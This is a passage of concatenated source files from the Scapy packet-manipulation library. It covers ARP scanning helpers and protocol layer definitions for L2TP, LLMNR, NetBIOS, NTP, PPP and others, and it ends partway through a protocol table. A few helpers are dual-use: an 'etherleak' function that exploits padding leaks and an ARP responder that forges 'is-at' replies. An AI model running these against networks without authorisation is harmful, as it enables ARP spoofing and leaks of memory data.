name, stats) def show(self): for s,r in self.res: print(r.sprintf("%19s,Ether.src% %ARP.psrc%")) @conf.commands.register def arping(net, timeout=2, cache=0, verbose=None, **kargs): """Send ARP who-has requests to determine which hosts are up arping(net, [cache=0,] [iface=conf.iface,] [verbose=conf.verb]) -> None Set cache=True if you want arping to modify internal ARP-Cache""" if verbose is None: verbose = conf.verb ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=net), verbose=verbose, filter="arp and arp[7] = 2", timeout=timeout, iface_hint=net, **kargs) ans = ARPingResult(ans.res) if cache and ans is not None: for pair in ans: conf.netcache.arp_cache[pair[1].psrc] = (pair[1].hwsrc, time.time()) if verbose: ans.show() return ans,unans @conf.commands.register def is_promisc(ip, fake_bcast="ff:ff:00:00:00:00",**kargs): """Try to guess if target is in Promisc mode. The target is provided by its ip.""" responses = srp1(Ether(dst=fake_bcast) / ARP(op="who-has", pdst=ip),type=ETH_P_ARP, iface_hint=ip, timeout=1, verbose=0,**kargs) return responses is not None @conf.commands.register def promiscping(net, timeout=2, fake_bcast="ff:ff:ff:ff:ff:fe", **kargs): """Send ARP who-has requests to determine which hosts are in promiscuous mode promiscping(net, iface=conf.iface)""" ans,unans = srp(Ether(dst=fake_bcast)/ARP(pdst=net), filter="arp and arp[7] = 2", timeout=timeout, iface_hint=net, **kargs) ans = ARPingResult(ans.res, name="PROMISCPing") ans.display() return ans,unans class ARP_am(AnsweringMachine): function_name="farpd" filter = "arp" send_function = staticmethod(sendp) def parse_options(self, IP_addr=None, iface=None, ARP_addr=None): self.IP_addr=IP_addr self.iface=iface self.ARP_addr=ARP_addr def is_request(self, req): return (req.haslayer(ARP) and req.getlayer(ARP).op == 1 and (self.IP_addr == None or self.IP_addr == req.getlayer(ARP).pdst)) def make_reply(self, req): ether = req.getlayer(Ether) arp = req.getlayer(ARP) iff,a,gw = conf.route.route(arp.psrc) if self.iface != None: iff = iface ARP_addr = self.ARP_addr IP_addr = arp.pdst resp = Ether(dst=ether.src, src=ARP_addr)/ARP(op="is-at", hwsrc=ARP_addr, psrc=IP_addr, hwdst=arp.hwsrc, pdst=arp.pdst) return resp def sniff(self): sniff(iface=self.iface, **self.optsniff) @conf.commands.register def etherleak(target, **kargs): """Exploit Etherleak flaw""" return srpflood(Ether()/ARP(pdst=target), prn=lambda a: conf.padding_layer in a[1] and hexstr(a[1][conf.padding_layer].load), filter="arp", **kargs) scapy-0.23/scapy/layers/l2tp.py000066400000000000000000000020241320561231000164150ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ L2TP (Layer 2 Tunneling Protocol) for VPNs. [RFC 2661] """ import struct from scapy.packet import * from scapy.fields import * from scapy.layers.inet import UDP from scapy.layers.ppp import PPP class L2TP(Packet): fields_desc = [ ShortEnumField("pkt_type",2,{2:"data"}), ShortField("len", None), ShortField("tunnel_id", 0), ShortField("session_id", 0), ShortField("ns", 0), ShortField("nr", 0), ShortField("offset", 0) ] def post_build(self, pkt, pay): if self.len is None: l = len(pkt)+len(pay) pkt = pkt[:2]+struct.pack("!H", l)+pkt[4:] return pkt+pay bind_layers( UDP, L2TP, sport=1701, dport=1701) bind_layers( L2TP, PPP, ) scapy-0.23/scapy/layers/llmnr.py000066400000000000000000000045271320561231000166720ustar00rootroot00000000000000from scapy.fields import * from scapy.packet import * from scapy.layers.inet import UDP from scapy.layers.dns import DNSQRField, DNSRRField, DNSRRCountField """ LLMNR (Link Local Multicast Node Resolution). [RFC 4795] """ ############################################################################# ### LLMNR (RFC4795) ### ############################################################################# # LLMNR is based on the DNS packet format (RFC1035 Section 4) # RFC also envisions LLMNR over TCP. Like vista, we don't support it -- arno _LLMNR_IPv6_mcast_Addr = "FF02:0:0:0:0:0:1:3" _LLMNR_IPv4_mcast_addr = "224.0.0.252" class LLMNRQuery(Packet): name = "Link Local Multicast Node Resolution - Query" fields_desc = [ ShortField("id", 0), BitField("qr", 0, 1), BitEnumField("opcode", 0, 4, { 0:"QUERY" }), BitField("c", 0, 1), BitField("tc", 0, 2), BitField("z", 0, 4), BitEnumField("rcode", 0, 4, { 0:"ok" }), DNSRRCountField("qdcount", None, "qd"), DNSRRCountField("ancount", None, "an"), DNSRRCountField("nscount", None, "ns"), DNSRRCountField("arcount", None, "ar"), DNSQRField("qd", "qdcount"), DNSRRField("an", "ancount"), DNSRRField("ns", "nscount"), DNSRRField("ar", "arcount",0)] overload_fields = {UDP: {"sport": 5355, "dport": 5355 }} def hashret(self): return struct.pack("!H", self.id) class LLMNRResponse(LLMNRQuery): name = "Link Local Multicast Node Resolution - Response" qr = 1 def answers(self, other): return (isinstance(other, LLMNRQuery) and self.id == other.id and self.qr == 1 and other.qr == 0) def _llmnr_dispatcher(x, *args, **kargs): cls = conf.raw_layer if len(x) >= 3: if (x[4] & 0x80): # Response cls = LLMNRResponse else: # Query cls = LLMNRQuery return cls(x, *args, **kargs) bind_bottom_up(UDP, _llmnr_dispatcher, { "dport": 5355 }) bind_bottom_up(UDP, _llmnr_dispatcher, { "sport": 5355 }) # LLMNRQuery(id=RandShort(), qd=DNSQR(qname="vista."))) scapy-0.23/scapy/layers/mgcp.py000066400000000000000000000031631320561231000164670ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ MGCP (Media Gateway Control Protocol) [RFC 2805] """ from scapy.packet import * from scapy.fields import * from scapy.layers.inet import UDP class MGCP(Packet): name = "MGCP" longname = "Media Gateway Control Protocol" fields_desc = [ StrStopField("verb","AUEP"," ", -1), StrFixedLenField("sep1"," ",1), StrStopField("transaction_id","1234567"," ", -1), StrFixedLenField("sep2"," ",1), StrStopField("endpoint","dummy@dummy.net"," ", -1), StrFixedLenField("sep3"," ",1), StrStopField("version","MGCP 1.0 NCS 1.0","\x0a", -1), StrFixedLenField("sep4","\x0a",1), ] #class MGCP(Packet): # name = "MGCP" # longname = "Media Gateway Control Protocol" # fields_desc = [ ByteEnumField("type",0, ["request","response","others"]), # ByteField("code0",0), # ByteField("code1",0), # ByteField("code2",0), # ByteField("code3",0), # ByteField("code4",0), # IntField("trasid",0), # IntField("req_time",0), # ByteField("is_duplicate",0), # ByteField("req_available",0) ] # bind_layers( UDP, MGCP, dport=2727) bind_layers( UDP, MGCP, sport=2727) scapy-0.23/scapy/layers/mobileip.py000066400000000000000000000031521320561231000173370ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Mobile IP. """ from scapy.fields import * from scapy.packet import * from scapy.layers.inet import IP,UDP class MobileIP(Packet): name = "Mobile IP (RFC3344)" fields_desc = [ ByteEnumField("type", 1, {1:"RRQ", 3:"RRP"}) ] class MobileIPRRQ(Packet): name = "Mobile IP Registration Request (RFC3344)" fields_desc = [ XByteField("flags", 0), ShortField("lifetime", 180), IPField("homeaddr", "0.0.0.0"), IPField("haaddr", "0.0.0.0"), IPField("coaddr", "0.0.0.0"), LongField("id", 0), ] class MobileIPRRP(Packet): name = "Mobile IP Registration Reply (RFC3344)" fields_desc = [ ByteField("code", 0), ShortField("lifetime", 180), IPField("homeaddr", "0.0.0.0"), IPField("haaddr", "0.0.0.0"), LongField("id", 0), ] class MobileIPTunnelData(Packet): name = "Mobile IP Tunnel Data Message (RFC3519)" fields_desc = [ ByteField("nexthdr", 4), ShortField("res", 0) ] bind_layers( UDP, MobileIP, sport=434) bind_layers( UDP, MobileIP, dport=434) bind_layers( MobileIP, MobileIPRRQ, type=1) bind_layers( MobileIP, MobileIPRRP, type=3) bind_layers( MobileIP, MobileIPTunnelData, type=4) bind_layers( MobileIPTunnelData, IP, nexthdr=4) scapy-0.23/scapy/layers/netbios.py000066400000000000000000000256051320561231000172110ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ NetBIOS over TCP/IP [RFC 1001/1002] """ import struct from scapy.packet import * from scapy.fields import * from scapy.layers.inet import UDP,TCP from scapy.layers.l2 import SourceMACField class NetBIOS_DS(Packet): name = "NetBIOS datagram service" fields_desc = [ ByteEnumField("type",17, {17:"direct_group"}), ByteField("flags",0), XShortField("id",0), IPField("src","127.0.0.1"), ShortField("sport",138), ShortField("len",None), ShortField("ofs",0), NetBIOSNameField("srcname",""), NetBIOSNameField("dstname",""), ] def post_build(self, p, pay): p += pay if self.len is None: l = len(p)-14 p = p[:10]+struct.pack("!H", l)+p[12:] return p # ShortField("length",0), # ShortField("Delimitor",0), # ByteField("command",0), # ByteField("data1",0), # ShortField("data2",0), # ShortField("XMIt",0), # ShortField("RSPCor",0), # StrFixedLenField("dest","",16), # StrFixedLenField("source","",16), # # ] # #NetBIOS # Name Query Request # Node Status Request class NBNSQueryRequest(Packet): name="NBNS query request" fields_desc = [ShortField("NAME_TRN_ID",0), ShortField("FLAGS", 0x0110), ShortField("QDCOUNT",1), ShortField("ANCOUNT",0), ShortField("NSCOUNT",0), ShortField("ARCOUNT",0), NetBIOSNameField("QUESTION_NAME","windows"), ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), ShortEnumField("QUESTION_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("QUESTION_CLASS",1,{1:"INTERNET"})] # Name Registration Request # Name Refresh Request # Name Release Request or Demand class NBNSRequest(Packet): name="NBNS request" fields_desc = [ShortField("NAME_TRN_ID",0), ShortField("FLAGS", 0x2910), ShortField("QDCOUNT",1), ShortField("ANCOUNT",0), ShortField("NSCOUNT",0), ShortField("ARCOUNT",1), NetBIOSNameField("QUESTION_NAME","windows"), ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), ShortEnumField("QUESTION_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("QUESTION_CLASS",1,{1:"INTERNET"}), ShortEnumField("RR_NAME",0xC00C,{0xC00C:"Label String Pointer to QUESTION_NAME"}), ShortEnumField("RR_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("RR_CLASS",1,{1:"INTERNET"}), IntField("TTL", 0), ShortField("RDLENGTH", 6), BitEnumField("G",0,1,{0:"Unique name",1:"Group name"}), BitEnumField("OWNER_NODE_TYPE",00,2,{0:"B node",1:"P node",2:"M node",3:"H node"}), BitEnumField("UNUSED",0,13,{0:"Unused"}), IPField("NB_ADDRESS", "127.0.0.1")] # Name Query Response # Name Registration Response class NBNSQueryResponse(Packet): name="NBNS query response" fields_desc = [ShortField("NAME_TRN_ID",0), ShortField("FLAGS", 0x8500), ShortField("QDCOUNT",0), ShortField("ANCOUNT",1), ShortField("NSCOUNT",0), ShortField("ARCOUNT",0), NetBIOSNameField("RR_NAME","windows"), ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), ShortEnumField("QUESTION_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("QUESTION_CLASS",1,{1:"INTERNET"}), IntField("TTL", 0x493e0), ShortField("RDLENGTH", 6), ShortField("NB_FLAGS", 0), IPField("NB_ADDRESS", "127.0.0.1")] # Name Query Response (negative) # Name Release Response class NBNSQueryResponseNegative(Packet): name="NBNS query response (negative)" fields_desc = [ShortField("NAME_TRN_ID",0), ShortField("FLAGS", 0x8506), ShortField("QDCOUNT",0), ShortField("ANCOUNT",1), ShortField("NSCOUNT",0), ShortField("ARCOUNT",0), NetBIOSNameField("RR_NAME","windows"), ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), ShortEnumField("RR_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("RR_CLASS",1,{1:"INTERNET"}), IntField("TTL",0), ShortField("RDLENGTH",6), BitEnumField("G",0,1,{0:"Unique name",1:"Group name"}), BitEnumField("OWNER_NODE_TYPE",00,2,{0:"B node",1:"P node",2:"M node",3:"H node"}), BitEnumField("UNUSED",0,13,{0:"Unused"}), IPField("NB_ADDRESS", "127.0.0.1")] # Node Status Response class NBNSNodeStatusResponse(Packet): name="NBNS Node Status Response" fields_desc = [ShortField("NAME_TRN_ID",0), ShortField("FLAGS", 0x8500), ShortField("QDCOUNT",0), ShortField("ANCOUNT",1), ShortField("NSCOUNT",0), ShortField("ARCOUNT",0), NetBIOSNameField("RR_NAME","windows"), ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), ShortEnumField("RR_TYPE",0x21, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("RR_CLASS",1,{1:"INTERNET"}), IntField("TTL",0), ShortField("RDLENGTH",83), ByteField("NUM_NAMES",1)] # Service for Node Status Response class NBNSNodeStatusResponseService(Packet): name="NBNS Node Status Response Service" fields_desc = [StrFixedLenField("NETBIOS_NAME","WINDOWS ",15), ByteEnumField("SUFFIX",0,{0:"workstation",0x03:"messenger service",0x20:"file server service",0x1b:"domain master browser",0x1c:"domain controller", 0x1e:"browser election service"}), ByteField("NAME_FLAGS",0x4), ByteEnumField("UNUSED",0,{0:"unused"})] # End of Node Status Response packet class NBNSNodeStatusResponseEnd(Packet): name="NBNS Node Status Response" fields_desc = [SourceMACField("MAC_ADDRESS"), BitField("STATISTICS",0,57*8)] # Wait for Acknowledgement Response class NBNSWackResponse(Packet): name="NBNS Wait for Acknowledgement Response" fields_desc = [ShortField("NAME_TRN_ID",0), ShortField("FLAGS", 0xBC07), ShortField("QDCOUNT",0), ShortField("ANCOUNT",1), ShortField("NSCOUNT",0), ShortField("ARCOUNT",0), NetBIOSNameField("RR_NAME","windows"), ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), ShortEnumField("RR_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("RR_CLASS",1,{1:"INTERNET"}), IntField("TTL", 2), ShortField("RDLENGTH",2), BitField("RDATA",10512,16)] #10512=0010100100010000 class NBTDatagram(Packet): name="NBT Datagram Packet" fields_desc= [ByteField("Type", 0x10), ByteField("Flags", 0x02), ShortField("ID", 0), IPField("SourceIP", "127.0.0.1"), ShortField("SourcePort", 138), ShortField("Length", 272), ShortField("Offset", 0), NetBIOSNameField("SourceName",b"windows"), ShortEnumField("SUFFIX1",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), NetBIOSNameField("DestinationName",b"windows"), ShortEnumField("SUFFIX2",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0)] class NBTSession(Packet): name="NBT Session Packet" fields_desc= [ByteEnumField("TYPE",0,{0x00:"Session Message",0x81:"Session Request",0x82:"Positive Session Response",0x83:"Negative Session Response",0x84:"Retarget Session Response",0x85:"Session Keepalive"}), BitField("RESERVED",0x00,7), BitField("LENGTH",0,17)] bind_layers( UDP, NBNSQueryRequest, dport=137) bind_layers( UDP, NBNSRequest, dport=137) bind_layers( UDP, NBNSQueryResponse, sport=137) bind_layers( UDP, NBNSQueryResponseNegative, sport=137) bind_layers( UDP, NBNSNodeStatusResponse, sport=137) bind_layers( NBNSNodeStatusResponse, NBNSNodeStatusResponseService, ) bind_layers( NBNSNodeStatusResponse, NBNSNodeStatusResponseService, ) bind_layers( NBNSNodeStatusResponseService, NBNSNodeStatusResponseService, ) bind_layers( NBNSNodeStatusResponseService, NBNSNodeStatusResponseEnd, ) bind_layers( UDP, NBNSWackResponse, sport=137) bind_layers( UDP, NBTDatagram, dport=138) bind_layers( TCP, NBTSession, dport=139) scapy-0.23/scapy/layers/netflow.py000066400000000000000000000030711320561231000172150ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Cisco NetFlow protocol v1 """ from scapy.fields import * from scapy.packet import * # Cisco Netflow Protocol version 1 class NetflowHeader(Packet): name = "Netflow Header" fields_desc = [ ShortField("version", 1) ] class NetflowHeaderV1(Packet): name = "Netflow Header V1" fields_desc = [ ShortField("count", 0), IntField("sysUptime", 0), IntField("unixSecs", 0), IntField("unixNanoSeconds", 0) ] class NetflowRecordV1(Packet): name = "Netflow Record" fields_desc = [ IPField("ipsrc", "0.0.0.0"), IPField("ipdst", "0.0.0.0"), IPField("nexthop", "0.0.0.0"), ShortField("inputIfIndex", 0), ShortField("outpuIfIndex", 0), IntField("dpkts", 0), IntField("dbytes", 0), IntField("starttime", 0), IntField("endtime", 0), ShortField("srcport", 0), ShortField("dstport", 0), ShortField("padding", 0), ByteField("proto", 0), ByteField("tos", 0), IntField("padding1", 0), IntField("padding2", 0) ] bind_layers( NetflowHeader, NetflowHeaderV1, version=1) bind_layers( NetflowHeaderV1, NetflowRecordV1, ) scapy-0.23/scapy/layers/ntp.py000066400000000000000000000047671320561231000163550ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ NTP (Network Time Protocol). """ import time from scapy.packet import * from scapy.fields import * from scapy.layers.inet import UDP # seconds between 01-01-1900 and 01-01-1970 _NTP_BASETIME = 2208988800 class TimeStampField(FixedPointField): def __init__(self, name, default): FixedPointField.__init__(self, name, default, 64, 32) def i2repr(self, pkt, val): if val is None: return "--" val = self.i2h(pkt,val) if val < _NTP_BASETIME: return val return time.strftime("%a, %d %b %Y %H:%M:%S +0000", time.gmtime(val-_NTP_BASETIME)) def any2i(self, pkt, val): if type(val) is str: return int(time.mktime(time.strptime(val))) + _NTP_BASETIME + 3600 # XXX return FixedPointField.any2i(self,pkt,val) def i2m(self, pkt, val): if val is None: val = FixedPointField.any2i(self, pkt, time.time()+_NTP_BASETIME) return FixedPointField.i2m(self, pkt, val) class NTP(Packet): # RFC 1769 name = "NTP" fields_desc = [ BitEnumField('leap', 0, 2, { 0: 'nowarning', 1: 'longminute', 2: 'shortminute', 3: 'notsync'}), BitField('version', 3, 3), BitEnumField('mode', 3, 3, { 0: 'reserved', 1: 'sym_active', 2: 'sym_passive', 3: 'client', 4: 'server', 5: 'broadcast', 6: 'control', 7: 'private'}), BitField('stratum', 2, 8), BitField('poll', 0xa, 8), ### XXX : it's a signed int BitField('precision', 0, 8), ### XXX : it's a signed int FixedPointField('delay', 0, size=32, frac_bits=16), FixedPointField('dispersion', 0, size=32, frac_bits=16), IPField('id', "127.0.0.1"), TimeStampField('ref', 0), TimeStampField('orig', None), # None means current time TimeStampField('recv', 0), TimeStampField('sent', None) ] def mysummary(self): return self.sprintf("NTP v%ir,NTP.version%, %NTP.mode%") bind_layers( UDP, NTP, dport=123, sport=123) scapy-0.23/scapy/layers/pflog.py000066400000000000000000000055501320561231000166520ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ PFLog: OpenBSD PF packet filter logging. """ from scapy.packet import * from scapy.fields import * from scapy.layers.inet import IP if conf.ipv6_enabled: from scapy.layers.inet6 import IPv6 from scapy.config import conf class PFLog(Packet): name = "PFLog" # from OpenBSD src/sys/net/pfvar.h and src/sys/net/if_pflog.h fields_desc = [ ByteField("hdrlen", 0), ByteEnumField("addrfamily", 2, {socket.AF_INET: "IPv4", socket.AF_INET6: "IPv6"}), ByteEnumField("action", 1, {0: "pass", 1: "drop", 2: "scrub", 3: "no-scrub", 4: "nat", 5: "no-nat", 6: "binat", 7: "no-binat", 8: "rdr", 9: "no-rdr", 10: "syn-proxy-drop" }), ByteEnumField("reason", 0, {0: "match", 1: "bad-offset", 2: "fragment", 3: "short", 4: "normalize", 5: "memory", 6: "bad-timestamp", 7: "congestion", 8: "ip-options", 9: "proto-cksum", 10: "state-mismatch", 11: "state-insert", 12: "state-limit", 13: "src-limit", 14: "syn-proxy" }), StrFixedLenField("iface", "", 16), StrFixedLenField("ruleset", "", 16), SignedIntField("rulenumber", 0), SignedIntField("subrulenumber", 0), SignedIntField("uid", 0), IntField("pid", 0), SignedIntField("ruleuid", 0), IntField("rulepid", 0), ByteEnumField("direction", 255, {0: "inout", 1: "in", 2:"out", 255: "unknown"}), StrFixedLenField("pad", "\x00\x00\x00", 3 ) ] def mysummary(self): return self.sprintf("%PFLog.addrfamily% %PFLog.action% on %PFLog.iface% by rule %PFLog.rulenumber%") bind_layers(PFLog, IP, addrfamily=socket.AF_INET) if conf.ipv6_enabled: bind_layers(PFLog, IPv6, addrfamily=socket.AF_INET6) conf.l2types.register(117, PFLog) scapy-0.23/scapy/layers/ppp.py000066400000000000000000000477601320561231000163530ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ PPP (Point to Point Protocol) [RFC 1661] """ import struct from scapy.packet import * from scapy.layers.l2 import * from scapy.layers.inet import * from scapy.fields import * class PPPoE(Packet): name = "PPP over Ethernet" fields_desc = [ BitField("version", 1, 4), BitField("type", 1, 4), ByteEnumField("code", 0, {0:"Session"}), XShortField("sessionid", 0x0), ShortField("len", None) ] def post_build(self, p, pay): p += pay if self.len is None: l = len(p)-6 p = p[:4]+struct.pack("!H", l)+p[6:] return p _PPPoE_tagtypes = { 0x0000: "End-Of-List", 0x0101: "Service-Name", 0x0102: "AC-Name", 0x0103: "Host-Uniq", 0x0104: "AC-Cookie", 0x0105: "Vendor-Specific", 0x0110: "Relay-Session-Id", 0x0201: "Service-Name-Error", 0x0202: "AC-System-Error"} class PPPoE_Tag(Packet): name = "PPPoE Tag" fields_desc = [ShortEnumField("type", None, _PPPoE_tagtypes), FieldLenField("len", None, length_of="data", fmt="H"), StrLenField("data", b"", length_from=lambda p:max(0, p.len))] def extract_padding(self, pay): return b"", pay registered_options = {} @classmethod def register_variant(cls): cls.registered_options[cls.type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: #o = ord(_pkt[0]) o = (_pkt[0]) return cls.registered_options.get(o, cls) return cls class PPPoED(PPPoE): name = "PPP over Ethernet Discovery" fields_desc = [ BitField("version", 1, 4), BitField("type", 1, 4), ByteEnumField("code", 0x09, {0x09:"PADI",0x07:"PADO",0x19:"PADR",0x65:"PADS",0xa7:"PADT"}), XShortField("sessionid", 0x0), ShortField("len", None), PacketListField("tags", [], PPPoE_Tag)] _PPP_proto = { 0x0001: "Padding Protocol", 0x0003: "ROHC small-CID [RFC3095]", 0x0005: "ROHC large-CID [RFC3095]", 0x0021: "Internet Protocol version 4", 0x0023: "OSI Network Layer", 0x0025: "Xerox NS IDP", 0x0027: "DECnet Phase IV", 0x0029: "Appletalk", 0x002b: "Novell IPX", 0x002d: "Van Jacobson Compressed TCP/IP", 0x002f: "Van Jacobson Uncompressed TCP/IP", 0x0031: "Bridging PDU", 0x0033: "Stream Protocol (ST-II)", 0x0035: "Banyan Vines", 0x0037: "reserved (until 1993) [Typo in RFC1172]", 0x0039: "AppleTalk EDDP", 0x003b: "AppleTalk SmartBuffered", 0x003d: "Multi-Link [RFC1717]", 0x003f: "NETBIOS Framing", 0x0041: "Cisco Systems", 0x0043: "Ascom Timeplex", 0x0045: "Fujitsu Link Backup and Load Balancing (LBLB)", 0x0047: "DCA Remote Lan", 0x0049: "Serial Data Transport Protocol (PPP-SDTP)", 0x004b: "SNA over 802.2", 0x004d: "SNA", 0x004f: "IPv6 Header Compression", 0x0051: "KNX Bridging Data [ianp]", 0x0053: "Encryption [Meyer]", 0x0055: "Individual Link Encryption [Meyer]", 0x0057: "Internet Protocol version 6 [Hinden]", 0x0059: "PPP Muxing [RFC3153]", 0x005b: "Vendor-Specific Network Protocol (VSNP) [RFC3772]", 0x0061: "RTP IPHC Full Header [RFC3544]", 0x0063: "RTP IPHC Compressed TCP [RFC3544]", 0x0065: "RTP IPHC Compressed Non TCP [RFC3544]", 0x0067: "RTP IPHC Compressed UDP 8 [RFC3544]", 0x0069: "RTP IPHC Compressed RTP 8 [RFC3544]", 0x006f: "Stampede Bridging", 0x0071: "Reserved [Fox]", 0x0073: "MP+ Protocol [Smith]", 0x007d: "reserved (Control Escape) [RFC1661]", 0x007f: "reserved (compression inefficient [RFC1662]", 0x0081: "Reserved Until 20-Oct-2000 [IANA]", 0x0083: "Reserved Until 20-Oct-2000 [IANA]", 0x00c1: "NTCITS IPI [Ungar]", 0x00cf: "reserved (PPP NLID)", 0x00fb: "single link compression in multilink [RFC1962]", 0x00fd: "compressed datagram [RFC1962]", 0x00ff: "reserved (compression inefficient)", 0x0201: "802.1d Hello Packets", 0x0203: "IBM Source Routing BPDU", 0x0205: "DEC LANBridge100 Spanning Tree", 0x0207: "Cisco Discovery Protocol [Sastry]", 0x0209: "Netcs Twin Routing [Korfmacher]", 0x020b: "STP - Scheduled Transfer Protocol [Segal]", 0x020d: "EDP - Extreme Discovery Protocol [Grosser]", 0x0211: "Optical Supervisory Channel Protocol (OSCP)[Prasad]", 0x0213: "Optical Supervisory Channel Protocol (OSCP)[Prasad]", 0x0231: "Luxcom", 0x0233: "Sigma Network Systems", 0x0235: "Apple Client Server Protocol [Ridenour]", 0x0281: "MPLS Unicast [RFC3032] ", 0x0283: "MPLS Multicast [RFC3032]", 0x0285: "IEEE p1284.4 standard - data packets [Batchelder]", 0x0287: "ETSI TETRA Network Protocol Type 1 [Nieminen]", 0x0289: "Multichannel Flow Treatment Protocol [McCann]", 0x2063: "RTP IPHC Compressed TCP No Delta [RFC3544]", 0x2065: "RTP IPHC Context State [RFC3544]", 0x2067: "RTP IPHC Compressed UDP 16 [RFC3544]", 0x2069: "RTP IPHC Compressed RTP 16 [RFC3544]", 0x4001: "Cray Communications Control Protocol [Stage]", 0x4003: "CDPD Mobile Network Registration Protocol [Quick]", 0x4005: "Expand accelerator protocol [Rachmani]", 0x4007: "ODSICP NCP [Arvind]", 0x4009: "DOCSIS DLL [Gaedtke]", 0x400B: "Cetacean Network Detection Protocol [Siller]", 0x4021: "Stacker LZS [Simpson]", 0x4023: "RefTek Protocol [Banfill]", 0x4025: "Fibre Channel [Rajagopal]", 0x4027: "EMIT Protocols [Eastham]", 0x405b: "Vendor-Specific Protocol (VSP) [RFC3772]", 0x8021: "Internet Protocol Control Protocol", 0x8023: "OSI Network Layer Control Protocol", 0x8025: "Xerox NS IDP Control Protocol", 0x8027: "DECnet Phase IV Control Protocol", 0x8029: "Appletalk Control Protocol", 0x802b: "Novell IPX Control Protocol", 0x802d: "reserved", 0x802f: "reserved", 0x8031: "Bridging NCP", 0x8033: "Stream Protocol Control Protocol", 0x8035: "Banyan Vines Control Protocol", 0x8037: "reserved (until 1993)", 0x8039: "reserved", 0x803b: "reserved", 0x803d: "Multi-Link Control Protocol", 0x803f: "NETBIOS Framing Control Protocol", 0x8041: "Cisco Systems Control Protocol", 0x8043: "Ascom Timeplex", 0x8045: "Fujitsu LBLB Control Protocol", 0x8047: "DCA Remote Lan Network Control Protocol (RLNCP)", 0x8049: "Serial Data Control Protocol (PPP-SDCP)", 0x804b: "SNA over 802.2 Control Protocol", 0x804d: "SNA Control Protocol", 0x804f: "IP6 Header Compression Control Protocol", 0x8051: "KNX Bridging Control Protocol [ianp]", 0x8053: "Encryption Control Protocol [Meyer]", 0x8055: "Individual Link Encryption Control Protocol [Meyer]", 0x8057: "IPv6 Control Protovol [Hinden]", 0x8059: "PPP Muxing Control Protocol [RFC3153]", 0x805b: "Vendor-Specific Network Control Protocol (VSNCP) [RFC3772]", 0x806f: "Stampede Bridging Control Protocol", 0x8073: "MP+ Control Protocol [Smith]", 0x8071: "Reserved [Fox]", 0x807d: "Not Used - reserved [RFC1661]", 0x8081: "Reserved Until 20-Oct-2000 [IANA]", 0x8083: "Reserved Until 20-Oct-2000 [IANA]", 0x80c1: "NTCITS IPI Control Protocol [Ungar]", 0x80cf: "Not Used - reserved [RFC1661]", 0x80fb: "single link compression in multilink control [RFC1962]", 0x80fd: "Compression Control Protocol [RFC1962]", 0x80ff: "Not Used - reserved [RFC1661]", 0x8207: "Cisco Discovery Protocol Control [Sastry]", 0x8209: "Netcs Twin Routing [Korfmacher]", 0x820b: "STP - Control Protocol [Segal]", 0x820d: "EDPCP - Extreme Discovery Protocol Ctrl Prtcl [Grosser]", 0x8235: "Apple Client Server Protocol Control [Ridenour]", 0x8281: "MPLSCP [RFC3032]", 0x8285: "IEEE p1284.4 standard 